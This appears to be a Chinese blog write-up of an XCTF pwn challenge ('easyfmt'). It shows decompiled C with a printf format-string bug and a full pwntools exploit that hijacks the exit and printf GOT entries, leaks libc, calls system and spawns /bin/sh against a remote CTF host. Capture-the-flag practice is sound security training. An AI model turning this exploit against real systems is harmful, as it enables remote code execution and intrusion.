[XCTF-pwn] 25_easyfmt

格式化字符串漏洞,got.exit劫持,got.printf劫持

这题比上题要简单,先修改got.exit为main进入循环并漏洞libc地址,再将printf改为system,再输入/bin/sh

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("welcome to haerbin~");
  if ( CheckIn() )
  {
    memset(buf, 0, 0x100uLL);
    write(1, "slogan: ", 9uLL);
    read(0, buf, 0x100uLL);
    printf(buf);
  }
  puts("bye~");
  exit(0);
}

本身没啥难度但有个小坑,checkin这个没好办法,只能试,总会有对的时候。

_BOOL8 CheckIn()
{
  unsigned int v0; // eax
  unsigned __int8 v2; // [rsp+0h] [rbp-30h]
  __int64 buf; // [rsp+10h] [rbp-20h] BYREF
  __int16 v4; // [rsp+18h] [rbp-18h]
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  v0 = time(0LL);
  srand(v0);
  v2 = rand() % 5 + 48;
  printf("enter:");
  buf = 0LL;
  v4 = 0;
  read(0, &buf, 0xAuLL);
  return (_BYTE)buf == v2;
}

完整exp:

from pwn import *

def connect(local=1):
    global p,libc_elf,libc_start_main_ret,one
    
    if local == 1:
        p = process('./pwn')
        libc_elf = ELF('/usr/lib/x86_64-linux-gnu/libc-2.31.so')
        one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
        libc_start_main_ret = 0x270b3
    else:
        p = remote('111.200.241.244', 51715) 
        libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_amd64/libc6_2.23-0ubuntu10_amd64.so')
        one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
        libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context.arch = 'amd64'
context.log_level = 'debug'
'''
0x00007ffd430a3270│+0x0000: 0x00007ffd430a3488  →  0x00007ffd430a541f  →  0x4853006e77702f2e ("./pwn"?)	 ← $rsp #6
0x00007ffd430a3278│+0x0008: 0x0000000100000000
0x00007ffd430a3280│+0x0010: "AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n"     #8
...
0x00007ffd430a3380│+0x0110: 0x00007ffd430a3480  →  0x0000000000000001            #40
0x00007ffd430a3388│+0x0118: 0xbaf6d2e549b53b00                                   #41
0x00007ffd430a3390│+0x0120: 0x0000000000000000	 ← $rbp
0x00007ffd430a3398│+0x0128: 0x00007f3e5a10f0b3  →  <__libc_start_main+243> mov e  #43
'''
def pwn():
    p.recvline()
    p.sendlineafter(b"enter:", b'1')
    data = p.recv()
    print('R:', data)
    if b'bye' in data:
        raise('no')

    #payload = b'AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p'
    offset = 8
    #payload = fmtstr_payload(8, {elf.got['exit']:elf.sym['main']}) + b',%43$p,'
    #print(payload)
    payload = b'%2310c%12$lln%58c%13$hhn,%43$p,'.ljust(0x20, b'A') + p64(elf.got['exit']) + p64(elf.got['exit']+2)
    p.sendline(payload)
    p.recvuntil(b',')
    libc_base = int(p.recvuntil(b',', drop=True), 16) - libc_start_main_ret
    libc_elf.address = libc_base
    print('libc:', hex(libc_base))
    
    while True:
        p.sendlineafter(b"enter:", b'1')
        data = p.recv()
        if b"slogan: " in data:
            break

    payload = fmtstr_payload(8, {elf.got['printf']:libc_elf.sym['system']})
    p.sendline(payload)
    
    while True:
        p.sendlineafter(b'sh: 1: enter:: not found\n', b'1')
        data = p.recv()
        if b"slogan: " in data:
            break

    p.sendline(b'/bin/sh\x00')

    p.interactive()
    


while True:
    try:
        connect(0)
        pwn()
    except KeyboardInterrupt as e:
        exit()
    except:
        p.close()
    

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值